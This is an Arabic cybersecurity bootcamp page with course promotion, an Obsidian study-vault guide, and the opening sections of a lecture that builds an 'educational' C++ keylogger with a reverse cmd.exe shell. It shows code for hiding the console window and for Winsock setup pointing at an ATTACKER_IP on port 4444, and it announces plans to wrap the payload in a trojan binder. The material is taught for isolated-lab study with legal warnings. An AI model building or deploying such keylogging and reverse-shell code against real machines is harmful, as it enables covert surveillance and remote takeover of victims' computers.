ISKANDERCyber Bootcamp دخول
خصم ٤٥٪دورة الفريق الأزرق بـ ٢٧٥٬٠٠٠ د.ع بدلاً من ٥٠٠٬٠٠٠. عرض Winter Arc للتسجيل المبكر، والدورة تبدأ نوفمبر ٢٠٢٦. احجز مكانك
معسكر الأمن السيبرانيZERO TO HERO

لا تحفظ الأدوات. افهم الطريق.

من عقلية المهاجم المتقدّم، إلى بناء أدواتك بنفسك، إلى الدفاع عن بنية حقيقية، إلى مواجهة مباشرة بين فريقين. كل دورة هنا لها موقع محدّد على الخريطة، وكل دورة تعرف ما الذي يجب أن تتقنه قبلها.

٨دورات ومراحل
٦٣وحدة تعليمية
٥٢٩موضوعاً مفصّلاً
٧فصول منشورة
الخريطة

خريطة المسار التفاعلية

اضغط على أي دورة لترى ملخّصها، ثم افتح صفحتها الكاملة. الأسهم تُقرأ من اليمين إلى اليسار: ما على اليمين يجب أن يسبق ما على اليسار.

الخط المتصل يعني متطلباً إلزامياً، والخط المتقطّع يعني متطلباً مُستحسَناً
الفصول

منشور حتى الآن

من المرحلة الأولى، سلسلة طرق التوصيل. كل قسم ينتهي بأسئلة تحقّق تخبرك إن كنت فهمت قبل أن تكمل.

الخزنة

المنهج كشبكة، لا كقائمة

كل محاضرة تُنزَّل كملف Markdown مربوط بالمفاهيم التي تشرحها: الطرق، الأدوات، الدفاعات، تقنيات ATT&CK، والخصوم. افتح المجلد في Obsidian واضغط Graph view: النقاط المجوّفة هي محاضرات لم تُنزّلها بعد، وكلما أضفت واحدة امتلأت العقد المشتركة معها.

تحتوي الخزنة
دليل التنقّل شبكة المفاهيم

لا تُغيّر أسماء الملفات: Obsidian يربط الملاحظات بالاسم، وأي إعادة تسمية تقطع الرابط.

الطريقة الأنظف · عبر Git

استنساخ المستودع لا يضع على الملفات علامة «نُزّل من الإنترنت»، فلا يظهر تحذير SmartScreen الذي يظهر مع تنزيل المتصفّح. ثبّت Git، نفّذ الأمر، ثم افتح المجلد الناتج في Obsidian:

git clone https://github.com/HashHashBit/iskander-vault.git
لا تملك Git؟ نزّله لويندوز ←
الشبكة

شبكة المفاهيم

نفس الشبكة التي تفتحها الخزنة في Obsidian، وفيها مرشّحات لا يملكها: اعرض ما تشترك فيه المحاضرات فقط، أو ما يخصّ تكتيكاً واحداً في ATT&CK، أو المسار الأقصر بين مفهومين. دليل التنقّل يشرح الطريقة كاملة.

النوع
الفصل
تكتيك ATT&CK
الروابط
التصفية
أقل عدد إشارات: 1
اسحب الخلفية للتحريك · عجلة الفأرة للتقريب · اضغط عقدة لتفاصيلها
عودة إلى الخريطة
زينب إسكندر، مدرّبة الأمن السيبراني في معسكر إسكندر
المدرّبة

زينب إسكندر

مدرّبة الأمن السيبراني · معسكر إسكندر

تبني محتوى الأمن السيبراني الذي بحثت عنه بالعربية ولم تجده: شرح يبدأ من المبدأ، ومختبرات تُشغَّل بيدك، لا شرائح تُحفظ.

احجز جلسة استشارية

لماذا هذا المنهج

أغلب ما يُنشر بالعربية في الأمن الهجومي يشرح الأداة ولا يشرح الطريق. يخرج الدارس قادراً على تشغيل أمر دون أن يعرف لماذا نجح، ولا ما الذي كان سيوقفه. المنهج هنا مبني على العكس: كل تقنية تُشرح من مبدئها، وتُربط بموقعها في إطار MITRE ATT&CK، ثم يُنظر إليها من جهة المدافع.

العمل مع المختصّين

تعمل زينب مع نخبة من المختصّين في الأمن السيبراني، من الفرق الحمراء والزرقاء، على بناء منهج يجمع ما يُدرَّس في المعسكرات العالمية بما يحتاجه سوق الشرق الأوسط فعلاً. المادة تُراجَع تقنياً قبل نشرها، وتُحدَّث حين تتغيّر الدفاعات التي تتحدّث عنها.

المختبرات هي الفرق

لا يكتفي المنهج بوصف طريقة توصيل. تبنيها بنفسك، وتشغّلها في بيئة معزولة، ثم تعود إليها من جهة المدافع: ما الذي ظهر في السجلّات، وأي قاعدة كانت ستوقفها. كل قسم ينتهي بأسئلة تحقّق تخبرك إن كنت فهمت قبل أن تكمل.

الشروح القصيرة على القنوات، والفصول الكاملة هنا مجاناً.

شبكة المفاهيم

دليل التنقّل: كيف تقرأ هذه الخزنة في Obsidian

هذه الخزنة ليست مجموعة ملفات. هي شبكة: كل محاضرة مربوطة بالمفاهيم التي تشرحها، وكل مفهوم مربوط بالمفاهيم التي يظهر بجوارها. الهدف أن ترى الطريق، لا أن تحفظ الأدوات.


أولاً: افتح الخزنة

  1. نزّل الخزنة من صفحة iskander.sh، وفُكّ الضغط عن المجلد.
  2. في Obsidian اختر Open folder as vault ثم اختر مجلد Iskander Bootcamp.
  3. افتح ملف الخريطة. هذا هو الفهرس: منه تصل إلى كل شيء.
لا تُغيّر أسماء الملفات. Obsidian يربط الملاحظات بالاسم، فإعادة التسمية تقطع كل رابط يشير إلى الملف. إن أردت اسماً آخر استخدم aliases في رأس الملف.

بنية الخزنة

المجلدما فيه
المحاضراتنص كل محاضرة كاملاً، وفي آخره قسم الصلات
الدوراتصفحة لكل دورة في الخريطة، مع المتطلبات السابقة وما تفتحه
المفاهيم/الطرقطرق التوصيل: الملف المربوط، HTA، الحاويات، وغيرها
المفاهيم/الأدواتالثنائيات الموقّعة وأدوات العمل: mshta، certutil، PowerShell
المفاهيم/الدفاعاتما تواجهه: MOTW، SmartScreen، Defender، AMSI، ETW
المفاهيم/التقنياتتقنيات MITRE ATT&CK المذكورة في المحاضرات
المفاهيم/الخصومالمجموعات والحملات الحقيقية التي تُشتقّ منها الأمثلة

كيف تقرأ ملف مفهوم

كل ملف مفهوم مبني على نفس الشكل:

  • رأس الملف فيه الوسم ونوع المفهوم وعدد الإشارات إليه في كل المحاضرات.
  • الاقتباس في الأعلى هو التعريف، منقول حرفياً من المحاضرة التي تشرحه، ومذكور تحته من أي محاضرة أُخِذ.
  • يظهر في يعدّ المحاضرات التي تذكره ومعها عدد الإشارات. رقم كبير في محاضرة واحدة يعني أن هذه المحاضرة هي مكان دراسته.
  • مفاهيم مجاورة ليست قائمة عشوائية: هذه مفاهيم تظهر في نفس القسم داخل المحاضرات. إن رأيت ISO بجوار MOTW فذلك لأن النص يناقشهما معاً، وهذا سؤال يستحق أن تسأله: لماذا؟

الأدوات الخمس التي ستستخدمها

1. الرسم الكامل (Graph view)

الأيقونة في الشريط الجانبي الأيسر، أو Ctrl+G على ويندوز و Cmd+G على ماك. تُظهر الخزنة كلها. اضغط على ترس الإعدادات داخل الرسم لتجد:

  • Filters: صندوق بحث يقبل استعلامات مثل tag:#مفهوم/دفاع أو path:المحاضرات.
  • Groups: تلوين مجموعة بلون. الخزنة تصلك ملوّنة مسبقاً حسب النوع.
  • Display: منه فعّل Show unresolved links إن لم يكن مفعّلاً.
  • Forces: تباعد العقد. زد Repel force إن بدا الرسم متكدّساً.

النقاط المجوّفة هي ملفات مذكورة ولم تُنزّلها بعد. كلّما أضفت محاضرة امتلأت العقد المرتبطة بها. هذه أسرع طريقة لترى ما ينقصك.

2. الرسم الموضعي (Local graph)

من قائمة ... أعلى الملف اختر Open local graph، أو من لوحة الأوامر. يُظهر جيران هذا الملف فقط. في إعداداته اضبط Depth:

  • Depth 1: ما يرتبط بالملف مباشرة.
  • Depth 2: وما يرتبط بجيرانه. ابدأ بـ 1 دائماً، فـ 2 يتحوّل إلى ضوضاء بسرعة.

هذه هي الأداة التي ستقضي فيها أكثر وقتك.

3. الروابط الخلفية (Backlinks)

في الشريط الأيمن. تُظهر كل مكان يشير إلى الملف المفتوح، ومعه السطر الذي ورد فيه. الفرق بينها وبين "مفاهيم مجاورة": الروابط الخلفية تعطيك السياق النصي، لا الرسم فقط.

4. لوحة الوسوم (Tags)

في الشريط الأيمن. الوسوم الجاهزة:

#محاضرة · #دورة · #مفهوم/دفاع · #مفهوم/أداة · #مفهوم/طريقة · #مفهوم/تقنية · #مفهوم/خصم · #مسار/...

اضغط #مفهوم/دفاع لترى كل الدفاعات دفعة واحدة. هذه طريقة جيدة لمراجعة محور كامل قبل الامتحان.

5. البحث والتنقّل السريع

الأمرويندوزماك
فتح ملف بالاسمCtrl+OCmd+O
بحث في كل النصCtrl+Shift+FCmd+Shift+F
لوحة الأوامرCtrl+PCmd+P
الرسم الكاملCtrl+GCmd+G

إن نسيت اختصاراً، لوحة الأوامر تجد كل شيء بالاسم.


مثال كامل: كيف تدرس موضوعاً واحداً

خذ MOTW، علامة الويب. هي مذكورة في المحاضرات الثلاث، وهذا يجعلها مثالاً جيداً. اتبع هذه الخطوات بالترتيب، وستجد أنك فهمت المحور كله لا التعريف وحده.

الخطوة 1: ابدأ من المفهوم، لا من المحاضرة

افتح MOTW من مجلد المفاهيم/الدفاعات. اقرأ الاقتباس في الأعلى فقط. الآن تعرف تعريفاً واحداً في سطرين، وتعرف أنه مذكور في المحاضرات الثلاث كلها. هذا الرقم وحده يخبرك أن هذا ليس تفصيلاً جانبياً، بل عمود.

الخطوة 2: افتح الرسم الموضعي بعمق 1

سترى حوله: SmartScreen و ISO و ADS و HTA و LNK و Microsoft Defender.

قف هنا واسأل نفسك السؤال الصحيح: لماذا هؤلاء بالذات؟ لا تُجب بعد.

الخطوة 3: اتبع أغرب جار

SmartScreen جار متوقّع، فهو يستهلك العلامة. لكن ISO غريب: ما علاقة صورة قرص بعلامة على ملف؟ افتح ISO.

ستجد الجواب في تعريفه: الحاويات لا تنقل العلامة إلى ما بداخلها. الآن فهمت لماذا ظهرا متجاورين، وفهمت في نفس الوقت لماذا تحوّل المهاجمون إلى ISO بعد أن حُظر ماكرو الإنترنت.

الخطوة 4: انزل إلى النص

من ISO اذهب إلى يظهر في واتبع المحاضرة صاحبة أكبر عدد إشارات. اقرأ القسم هناك. الآن معك التفصيل الكامل بعد أن عرفت لماذا تقرأه، وهذا فرق كبير عن أن تبدأ القراءة من أول المحاضرة.

الخطوة 5: اجمع المحور كله

ارجع إلى MOTW وافتح الروابط الخلفية. كل سطر ذكرها في الخزنة أمامك الآن، من المحاضرات الثلاث. اقرأها كلها متتابعة: هذه مراجعة كاملة لمحور واحد في دقائق، مجمّعة من ثلاثة مستندات لم تكن لتقرأها معاً.

الخطوة 6: اقلب السؤال

اضغط الوسم #مفهوم/دفاع في لوحة الوسوم. أمامك كل الدفاعات. اسأل الآن سؤال الفريق الأحمر: أي واحد من هذه تتخطّاه الطريقة التي تعلّمتها، وأيها لا؟ هذا السؤال هو الفرق بين من يشغّل أداة ومن يفهم لماذا تعمل.

الخطوة 7: اكتب ملاحظتك أنت

أنشئ ملفاً جديداً في مجلد باسمك، واكتب فيه جوابك على سؤال الخطوة 6، واربط ما تذكره هكذا: [[MOTW]] و [[ISO]].

اللحظة المهمة: افتح الرسم الكامل الآن. ملاحظتك صارت عقدة داخل الشبكة، ومرتبطة بما درسته. كرّر هذا مع كل موضوع، وبعد شهر يصبح الرسم خريطة رأسك أنت، لا خريطتنا.


نمط أسبوعي مقترح

اليومالعمل
قبل المحاضرةافتح صفحة الدورة، اقرأ المتطلبات السابقة، تأكد أنك أنهيتها
أثناء القراءةلا تتوقف عند كل مصطلح؛ علّمه فقط وأكمل
بعد القراءةافتح قسم الصلات في آخر المحاضرة، وافتح كل مفهوم لم تكن تعرفه
المراجعةافتح مفهوماً واحداً واقرأ روابطه الخلفية كلها
نهاية الأسبوعاكتب ملاحظة واحدة بلغتك تربط ثلاثة مفاهيم على الأقل

أخطاء شائعة

  • قراءة المحاضرة من أولها إلى آخرها بلا توقّف. المحاضرات طويلة عن قصد. الرسم موجود لتدخل من المنتصف حيث يهمّك.
  • تجاهل النقاط المجوّفة. هي قائمة ما ينقصك، معروضة مجاناً.
  • إعادة تسمية الملفات. تقطع الروابط. استخدم aliases.
  • البقاء على Depth 2 في الرسم الموضعي. يتحوّل إلى ضوضاء ويوهمك أن كل شيء مرتبط بكل شيء.
  • عدم كتابة أي ملاحظة. خزنة تقرأ فيها فقط هي كتاب. خزنة تكتب فيها هي ذاكرة.

العودة إلى الخريطة

الفصول

keylogger_edu.cpp، بناء أوّل أداة هجومية بيديك _C++ خام · Windows API مباشرةً · لا مكتبات خارجيّة · لا شبكة إنترنت_

Cybersecurity Bootcamp، Phase 1: Red Team Foundations المحاضرة 1 من سلسلة Operation Shady RAT — نبني الحمولة، ثم في المحاضرة 2A نُغلّفها في Trojan Binder.

كيف تقرأ هذا المستند (مهم قبل البدء)

  • النص الأساسي عربي، اقرأ من اليمين إلى اليسار.
  • كتل الكود إنجليزية LTR، انسخها كما هي.
  • المصطلحات الإنجليزية القصيرة (GetAsyncKeyState, WSAStartup, sockaddr_in) داخل جمل عربية تظهر بعلامة backtick لتمييزها بصريّاً.
  • القوائم النقطية تفصل المفاهيم المختلطة، كل نقطة تقرأ باتجاه واحد واضح.
  • جميع كتل الكود قابلة للنسخ بضغطة واحدة، لا حاجة لتجميع من قطع.
  • التتبّع التفاعلي: في القسم 10 ستجد زرّاً «ابدأ التتبّع» يفتح واجهة تخطو معك في main() سطراً سطراً — Python المبسّطة، والأصل C++ بضغطة.

جدول المحتويات

#الموضوع
0لماذا نبني keylogger تعليميّاً؟ الفلسفة والحدود القانونية
1التخفّي: hide() وإخفاء نافذة console
2طبقة الشبكة: WSAStartup و WSASocket
3sockaddr_in: عنوان الوجهة بثلاثة حقول
4الخيوط (Threads): لماذا نحتاج ثلاثةً بالتوازي
5ConnectThread: تحويل stdio عملية قادمة إلى السوكِت
6ShellThread: CreateProcess("cmd.exe") = صدفة عكسيّة
7GetAsyncKeyState وسرّ القيمة -32767
8ثلاث مناطق ترجمة: صغير، كبير، خاصّ
9ofstream و ios::app: الكتابة على القرص لكلّ ضغطة
10main() كاملاً — التتبّع التفاعلي
11التشغيل في المختبر: VirtualBox + ncat
12من عيون الدفاع: البصمات و IOCs
13الخلاصة والجسر إلى المحاضرة 2A

قبل أن تبدأ: الأدوات المطلوبة

#الأداةالاستخدامالرابط
1MSYS2 UCRT64مُصرِّف g++ مع Windows API كاملhttps://www.msys2.org
2VirtualBoxتشغيل ضحيّة Windows معزولةhttps://www.virtualbox.org
3Nmap (بما فيها ncat)المُنصت على منفذ 4444https://nmap.org/download
4Windows 10/11 VMالضحيّة المعزولة داخل VirtualBoxأيّ ISO رسمية
5Process Explorerمراقبة العمليّة أثناء التشغيلhttps://learn.microsoft.com/sysinternals/downloads/process-explorer
6VS Code أو أيّ محرّر نصوصقراءة الكود وتعديلهhttps://code.visualstudio.com

الأدوات 1-3 و 5-6 على Host PC، الأداة 4 داخل VirtualBox بشبكة Host-Only.


القسم 0القسم 0: لماذا نبني keylogger تعليميّاً؟

قبل أيّ سطر كود، اتّفاق أخلاقيّ:

  • كلّ ما في هذه المحاضرة للدراسة في مختبرك المعزول فقط.
  • الشبكة Host-Only تعني: لا إنترنت. ما يخرج من الـ VM لا يصل إلى أحد.
  • نشر Keylogger على جهاز لا تملكه = جريمة في كلّ الأنظمة القانونية (CFAA في الولايات المتحدة، Computer Misuse Act في المملكة المتحدة، المواد 431-438 من قانون العقوبات العراقي...).
  • نبني لأنّنا نحتاج أن نفهم كيف يفكّر المهاجم لنستطيع كشفه. لا يمكن كشف ما لا تفهمه.

لماذا Keylogger بالتحديد كأوّل حمولة؟

  1. بسيط لكن حقيقيّ: 388 سطر C++ يبني أداة APT من عصر Unit 61398 (سرقة تصاميم F-35). نفس التقنية.
  2. Windows API خالصة: لا مكتبات خارجية، لا .NET، لا PyInstaller. تفهم كيف تعمل الأشياء تحت الجلد.
  3. نتيجة ملموسة: تكتب كلمة على الـ VM، تراها تصل في Record.txt — لحظة الإدراك الأولى.
  4. قاعدة للمحاضرات القادمة: التوصيل (المحاضرة 2A: Trojan Binder)، والاستمرارية، والمراوغة — كلّها تفترض أن الحمولة جاهزة عندك.

الفكرة في سطر واحد

text
Windows Console App + Winsock + GetAsyncKeyState + 3 Threads
                              ↓
                    keylogger_edu.exe (~500 KB, static)
                              ↓
                              ┌──────────────────────────────┐
                              │  الضحية تكتب على لوحة المفاتيح  │
                              │             ↓                 │
                              │  الضغطات → Record.txt (محليّاً) │
                              │  cmd.exe → ncat @ 192.168.56.1│
                              └──────────────────────────────┘

المنتج النهائي بدقّة

  • الحجم: ~500 KB (مضمَّن ستاتيكيّاً بلا مكتبات خارجية).
  • النافذة: لا شيء ظاهر (AllocConsole + ShowWindow(HIDE)).
  • السجلّ المحليّ: Record.txt بجوار الـ EXE، يُلحق ضغطةً ضغطةً.
  • اتصال المهاجم: TCP إلى 192.168.56.1:4444 بصدفة cmd.exe كاملة.
  • ثابت الطراز: يشتغل على Win7 حتى Win11 بلا تعديل.

ما هذه الحمولة، وما هي ليست

✅ ما تفعله❌ ما لن تفعله
تلتقط كلّ ضغطة عبر GetAsyncKeyState pollingلن تستعمل SetWindowsHookEx (تُكشف بسهولة)
تفتح صدفة عكسيّة عبر CreateProcess("cmd.exe")لن تخترق UAC أو ترفع صلاحيات
تُخفي نافذة console بأبسط طريقةلن تحقن نفسها في عملية شرعية (Process Injection)
تعمل بلا مكتبات خارجية (-static)لن تشفّر السجلّ ولا الاتصال (نصّ صريح)
تعيش داخل شبكة Host-Only معزولةلن تُثبّت نفسها للتشغيل عند الإقلاع (Persistence)

كلّ «لن تفعل» هنا مادّة محاضرات لاحقة. الفلسفة: مرحلة، مرحلة.

✅ اختبر نفسك: القسم 0

  1. لماذا نبدأ ببناء Keylogger تعليميّ بدل استعمال Metasploit جاهز؟ اذكر سببين.
  2. ما الفارق بين «شبكة Host-Only» و «شبكة NAT» في VirtualBox، وأيّهما نحتاج ولماذا؟
  3. «الحمولة جاهزة» و «التوصيل ينجح» شيئان مختلفان. أيّهما تُنتجه هذه المحاضرة، وأيّهما تحلّه المحاضرة 2A؟
  4. لو كان لديك صلاحيّة Domain Admin على شبكة عمل مشغلك، أيّ سطر في هذا الاتّفاق الأخلاقي يمنعك من تشغيل هذا الكود على محطات العمل؟

القسم 1القسم 1: التخفّي — hide() وإخفاء نافذة console

أوّل ما يُنفَّذ عندما يُشغَّل keylogger_edu.exe: دالّة hide(). المنطق: كلّ ثانية تظهر فيها النافذة السوداء تكشف اللعبة.

الدالّة كاملةً

cpp
void hide() {
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth, 0);
}

ثلاث خطوات، كلٌّ منها لسبب

  • AllocConsole(): تضمن أنّ العملية تملك console خاصّة بها. لو أُطلقت من Explorer (نقرة مزدوجة) هذا يُنشئ console افتراضيّة؛ لو أُطلقت من عمليّة GUI أخرى قد لا يكون هناك واحدة — AllocConsole تعالج الحالتين.
  • FindWindowA("ConsoleWindowClass", NULL): يبحث عن نافذة بفئة ConsoleWindowClass — الاسم الداخلي الذي يعطيه Windows لكلّ نافذة console. NULL في المعامل الثاني تعني «أيّ نافذة بهذه الفئة». نحن أنشأنا واحدةً للتوّ فنحصل على مقبضنا.
  • ShowWindow(hwnd, 0): القيمة 0 = SW_HIDE. تُخفي النافذة بلا أن تُنهيها.

لماذا هذه الطريقة السطحيّة؟

لأنّنا نتعلّم. طرق أنظف كثيرة:

  • wWinMain + -mwindows (لا نافذة تُنشأ أصلاً — أنظف بكثير).
  • GetConsoleWindow() (استدعاء واحد بدل AllocConsole + FindWindow — لكن يحجب مفهوم فئات النوافذ).
  • Process Hollowing (نبتلع عمليّة شرعيّة ونستبدل ذاكرتها — مادّة متقدّمة).

استعملنا الأقدم لأنّها تُبيّن الأسس: ما هي «نافذة»، ما هي «فئة نافذة»، كيف يُميّزها Windows.

ما تبقى ظاهراً

  • العمليّة موجودة في Task Manager باسم keylogger_edu.exe واضحاً.
  • Process Explorer يُرى كلّ الـ Threads والاتصالات.
  • Windows Defender قد يعترض على كتلة الاستدعاءات (FindWindowA + ShowWindow(0) = نمط مشبوه لديه).

المرحلة التالية من الإخفاء (تسمية العمليّة svchost.exe مثلاً، الحقن في عمليّة أخرى، بلوك ETW/AMSI): محاضرات Phase 2.

🧪 معمل 1: افحص «فئات النوافذ»

افتح PowerShell على Host PC (لا داخل VM):

powershell
# قائمة كلّ فئات النوافذ الظاهرة الآن
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;
public class W {
  [DllImport("user32.dll")] public static extern bool EnumWindows(IntPtr cb, IntPtr param);
  [DllImport("user32.dll")] public static extern int GetClassName(IntPtr h, StringBuilder s, int c);
  [DllImport("user32.dll")] public static extern bool IsWindowVisible(IntPtr h);
}
"@
# ... (سنكتشف EnumWindows في محاضرة قادمة)

أو مباشرةً: افتح Spy++ من Visual Studio → View → Windows. ستجد كلّ نافذة مرئية بفئتها.

  • Notepad: Notepad
  • Explorer: CabinetWClass
  • cmd.exe: ConsoleWindowClass ← نفس الفئة التي نبحث عنها في hide()!

هذا يعني: FindWindowA("ConsoleWindowClass", NULL) سيُعيد أيّ console مفتوحة، لا بالضرورة نافذتنا نحن. عمليّاً لا مشكلة لأنّنا AllocConsole قبله بلحظات فنحن الأحدث، لكنّه هشّ فعلياً.

✅ اختبر نفسك: القسم 1

  1. ما الفرق بين AllocConsole و GetConsoleWindow في مهمّة الإخفاء؟
  2. لماذا hide() قبل WSAStartup وليس بعدها؟ أعطِ سببين.
  3. إن كانت wWinMain أنظف، لماذا اختار الكود التعليميّ main مع AllocConsole؟
  4. محلّل SOC ماذا يرى في Process Explorer بعد تنفيذ hide()؟

القسم 2القسم 2: طبقة الشبكة — WSAStartup و WSASocket

Winsock هي طبقة الشبكة في Windows (نظير POSIX sockets على Linux). التسلسل الإجباري:

  • WSAStartup لتحميل المكتبة.
  • WSASocket لإنشاء مقبض سوكِت.
  • (لاحقاً) WSAConnect للاتصال بمضيف.
  • (في النهاية) WSACleanup لإفراغ المكتبة (نحن لا نُنفّذها لأنّنا لا نخرج أبداً).

WSAStartup(MAKEWORD(2, 2), &wsaData)

cpp
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
  • MAKEWORD(2, 2): ماكرو يجمع بايتين في WORD (16-بت). الأول Major = 2، الثاني Minor = 2. النتيجة 0x0202 = «Winsock الإصدار 2.2».
  • &wsaData: مؤشر إلى بنية WSADATA تملؤها الدالّة بمعلومات إصدار المكتبة الفعلي (قد يعطيك 2.2 حتى لو طلبت 1.1 — النظام يعطي أحدث ما يدعم ≥ طلبك).
  • بلا هذا النداء، أيّ دالّة sockets تفشل. الاستدعاء يُنشئ سياق مكتبة داخل العمليّة (heap allocations، global tables).

لماذا الإصدار 2.2؟

  • 1.0: عصر Windows 95 الأول، بلا IPv6، بلا overlapped I/O.
  • 1.1: تحديث 1997.
  • 2.0: أعاد الهيكلة (WSA-prefixed functions، رايات، QoS).
  • 2.2: 1997 أيضاً، دعم بعض ملحقات IPv6. آخر إصدار عمومي. يوجد 2.2 إلى اليوم على Windows 11.

كلّ الكود الحديث يطلب 2.2 لأنّه يدعم كلّ شيء. لا فائدة من طلب أقلّ.

WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, ...)

cpp
SOCKET Winsock;
Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,
                    NULL, (unsigned int)NULL, (unsigned int)NULL);

المعاملات الثلاثة الأولى تصف نوع السوكِت:

المعاملالاختيارالبديل
عائلة العناوينAF_INET (IPv4)AF_INET6, AF_UNIX
نوع السوكِتSOCK_STREAM (تدفّق موثوق)SOCK_DGRAM (UDP)، SOCK_RAW (خام)
البروتوكولIPPROTO_TCPIPPROTO_UDP, IPPROTO_ICMP

الاختيار الثلاثيّ TCP/IPv4 قياسيّ لأيّ اتصال شبكيّ عاديّ.

WSASocket مقابل socket()

  • كلاهما يُنشئ مقبض سوكِت.
  • socket() هو BSD API القياسي (يعمل على Linux, macOS, Windows بنفس الشكل).
  • WSASocket نسخة Windows الموسّعة: تدعم رايات إضافية: — WSA_FLAG_OVERLAPPED لـ async I/O. — WSA_FLAG_NO_HANDLE_INHERIT لمنع توارث المقبض في العمليّات الفرعيّة.
  • في كودنا نمرّر NULL و 0 للمعاملات الإضافيّة → مطابق لـ socket() تماماً.
  • استعملنا WSASocket لأنّ الاسم يُصرّح صراحةً «هذا Winsock»، سهولة المتابعة في الكود التعليمي.

ما زلنا لم نتصل بأحد!

WSASocket يُنشئ مقبضاً محليّاً فقط. يعيش في جدول مقابض العمليّة (يقابله File Descriptor في Linux). لم يُرسل بايت واحد على الشبكة بعد.

  • الاتصال الفعليّ يحدث لاحقاً عبر WSAConnect داخل ConnectThread.
  • قبل الاتصال، يمكنك حجز نفس المقبض عدّة مرّات (المُنصت bind + listen، أو المتّصل connect).

✅ اختبر نفسك: القسم 2

  1. لو نسيت WSAStartup قبل WSASocket، ما القيمة المُرجَعة من WSASocket وكيف تعرف السبب؟
  2. لماذا لا يوجد مقابل لـ WSAStartup على Linux؟
  3. ما الفرق بين SOCK_STREAM و SOCK_DGRAM في سياق keylogger — أيّهما أنسب ولماذا؟
  4. لماذا MAKEWORD(2, 2) وليس MAKEWORD(2, 0)؟

القسم 3القسم 3: sockaddr_in — عنوان الوجهة بثلاثة حقول

عنوان IPv4 في Windows يُحمل في بنية sockaddr_in. نُعبّئ ثلاثة حقول قبل استعمالها.

البنية كما تُعرَّف في <winsock2.h>

cpp
struct sockaddr_in {
    short          sin_family;    // AF_INET
    unsigned short sin_port;      // رقم المنفذ (بترتيب الشبكة)
    struct in_addr sin_addr;      // IP كعدد 32-بت
    char           sin_zero[8];   // حشو، يجب أن يبقى صفريّاً
};

تعبئتها في main()

cpp
struct sockaddr_in hax;   // متغيّر عالميّ → صفريّ ابتداءً

hax.sin_family      = AF_INET;                   // ④ IPv4
hax.sin_port        = htons(ATTACKER_PORT);      // ⑤ ترتيب الشبكة
hax.sin_addr.s_addr = inet_addr(ATTACKER_IP);    // ⑥ سلسلة → عدد

sin_family — لماذا نُكرّرها؟

عرّفناها AF_INET عند إنشاء السوكِت بـ WSASocket، ثم نُكرّرها هنا. لماذا؟

  • السوكِت نفسه يقول «أنا سوكِت IPv4».
  • البنية sockaddr_in تقول «هذا عنوان IPv4».
  • لأنّ WSAConnect يقبل مؤشر SOCKADDR* (النوع الأب المشترك)، فيقرأ حقل sin_family أوّلاً ليعرف كيف يُفسّر بقيّة الحقول.

لو مرّرت sockaddr_in6 بـ sin6_family = AF_INET6 إلى نفس السوكِت التي أنشأتها AF_INET، سيفشل WSAConnect بـ WSAEINVAL.

htons — أخطر تفصيلة يتجاهلها المبتدئ

htons = Host TO Network Short. أيّ: «حوّل هذا الـ unsigned short من ترتيب البايتات المحليّ إلى ترتيب الشبكة».

لماذا؟ الأجهزة مختلفة في ترتيب البايتات:

  • Little-endian (Intel x86, AMD64, معظم ARM اليوم): العدد 4444 (0x115C) يُخزّن 5C 11 في الذاكرة (البايت الأقلّ قيمةً أوّلاً).
  • Big-endian (SPARC القديم، بعض PowerPC، معظم شبكات RFC): نفس العدد يُخزّن 11 5C.
  • ترتيب الشبكة (RFC 1700): دائماً big-endian.

لو أرسلت 4444 بلا htons على جهاز x86:

  • الجهاز يخزّن 5C 11.
  • تُرسَل كما هي على السلك.
  • الطرف الآخر يقرأها كـ big-endian: 0x5C11 = 23,569، لا 4444.
  • تحاول الاتصال بمنفذ لا يُنصت فيه أحد → الاتصال يفشل بصمت ولن تعرف لماذا.

htons(4444) على x86 يقلبها إلى 0x5C11 = 11 5C في الذاكرة. تُرسل، يُقرأها الطرف الآخر كـ big-endian: 0x115C = 4444. صحيح.

على big-endian machines، htons لا يفعل شيئاً (البايتات في الترتيب الصحيح أصلاً). المُصرِّف يُبطلها كـ inline function.

inet_addr — من سلسلة إلى عدد 32-بت

cpp
inet_addr("192.168.56.1")

تُحوّل السلسلة إلى unsigned long (4 بايت) بالترتيب الشبكيّ مباشرةً (لا تحتاج htonl).

  • كلّ رقم في السلسلة يصبح بايت: 192 . 168 . 56 . 1 → 0xC0.A8.38.01 → مخزّن 01 38 A8 C0 على x86.
  • على السلك: C0 A8 38 01 (ترتيب big-endian المنتظر).

تحذير مهجورة: inet_addr تُعيد INADDR_NONE (= 0xFFFFFFFF) لسلسلة سيّئة. لكن 0xFFFFFFFF نفسها = 255.255.255.255 = عنوان بثّ IPv4 صحيح. فلا يمكن للكود التمييز بين الفشل و «العنوان الحرفيّ 255.255.255.255». الحديث inet_pton يُفصح بقيمة إرجاع منفصلة:

cpp
struct in_addr addr;
if (inet_pton(AF_INET, "192.168.56.1", &addr) != 1) {
    // فشل صريح
}

استعملنا inet_addr لأنّها سطر واحد يعمل، مناسب للتعليم.

sin_zero[8] — الحقل المنسيّ

حشو 8-بايت في نهاية البنية. يجب أن يبقى صفريّاً لأنّ بعض تطبيقات sockets تفحصه للتحقّق من عدم فساد البنية.

  • عالميّاً (struct sockaddr_in hax; خارج أيّ دالّة): يبدأ صفريّاً تلقائيّاً (قاعدة C++: المتغيّرات العالميّة non-POD-initialized تكون صفر).
  • محليّاً (struct sockaddr_in hax; داخل دالّة): يحتوي قمامةً من الـ stack. يجب memset(&hax, 0, sizeof(hax)) قبل استعمالها.

لهذا hax في كودنا معلَنة عالميّاً — تلقائيّة الصفريّة.

✅ اختبر نفسك: القسم 3

  1. لماذا نُكرّر AF_INET مرّتين (في WSASocket وفي sin_family)؟
  2. على معالج ARM يعمل big-endian، ماذا يفعل htons(4444)؟
  3. لديك كود يعمل على Windows XP يستعمل inet_addr، وتريد نقله لمعالجة عنوان IPv6. ما البديل الحديث الذي يفعل الاثنين؟
  4. أعلنت sockaddr_in hax; داخل main() ونسيت memset. ماذا سيحدث وما مدى انتظاميّة الفشل؟

القسم 4القسم 4: الخيوط (Threads) — لماذا نحتاج ثلاثةً بالتوازي

هذا القسم يشرح فكرة الخيوط قبل أن ندخل في تفاصيل ConnectThread و ShellThread. إن كنت تعرفها، تخطّى للقسم 5.

عمليّة واحدة، خيوط متعدّدة

